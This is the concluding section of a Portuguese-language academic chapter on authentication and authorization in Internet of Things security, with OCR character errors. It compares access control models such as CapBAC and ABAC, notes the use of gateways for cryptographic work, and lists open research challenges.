Este capitulo analisou a seguranga na Internet das Coisas, dando foco aos aspectos
de autenticagdo e autorizacao neste cendrio. Os dispositivos na [oT geram, transmitem,
modificam e armazenam dados constantemente, sendo que estas informacdes muitas vezes
sao confidenciais para seus usudrios. Estes dispositivos podem pertencer a mais de uma
rede (dominio) e podem de se deslocar por mais de um dominio, o que afeta as abordagens
de autenticacdo e de controle de acesso.

Nos trabalhos apresentados, € possivel notar a op¢do por ndo conceber mecanismos
de autenticacdo e autorizacio que estejam condicionados a um determinado dominio de
aplicacdo, nem a determinadas tecnologias utilizadas na IoT, tais como IEEE 802.15.4,
WiFi ou Zigbee.

Dos principais modelos de controle de acesso usado em cendrios convencionais, 0
modelo CapBAC (ver Secdo 4.4.3) foi apontado como o mais adequado para o cendrio da
[0T, por permitir um controle mais granular, sem exigir que os dispositivos tenham que
lidar com a complexidade de manter listas de controle acesso. O modelo ABAC também
se mostrou adequado para o cendrio da [oT, como pode ser constatado na adaptacdo deste
modelo feita por [Zhang e Liu 2011].

Nos trabalhos analisados, constatou-se a tendéncia em se utilizar gateways ou
servidores dedicados como mecanismos de apoio aos dispositivos quando estes realizam
operagdes relacionadas a seguranca que exigem um grande poder computacional, como as
operagdes criptograficas. Contudo, poucos trabalhos exploraram a questdo sobre autentica-
cdo Unica de usudrios e dispositivos e a transposicdo destas credenciais de autenticagdo por
diferentes dominios administrativos.

Apesar de existirem diversos trabalhos na literatura que descrevem solucoes de
segurancga para IoT, ainda € necessdrio superar uma série de desafios cientificos e tec-
noldgicos para que estas solugdes sejam utilizadas e difundidas em sua forma plena. A
implementagdo e avaliacdo dos mecanismos dos trabalhos apresentados neste capitulo
em cendrio reais, ja que grande parte dos trabalhos carecem de implementa¢ao ou provas
formais, € uma oportunidade de pesquisa.

Autenticagdo e autorizacdo para sistemas distribuidos pervasivos e ubiquos como a
IoT sdo temas de pesquisas atuais e ativos e, provavelmente, diante das suas complexidades
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e relevancias, continuardo assim por muito anos. Esta constatacdo decorre das inimeras
questdes que os sistemas de gestdo de identidades devem considerar, tais como: privacidade
e anonimato do usudrio, uso de algoritmos criptograficos fortes em dispositivos com
restricOes computacionais, autenticacao unica (SSO) de dispositivos diante de diferentes
tecnologias, controle de acesso de granularidade fina e interoperabilidade seméantica entre
regras de autorizacao.
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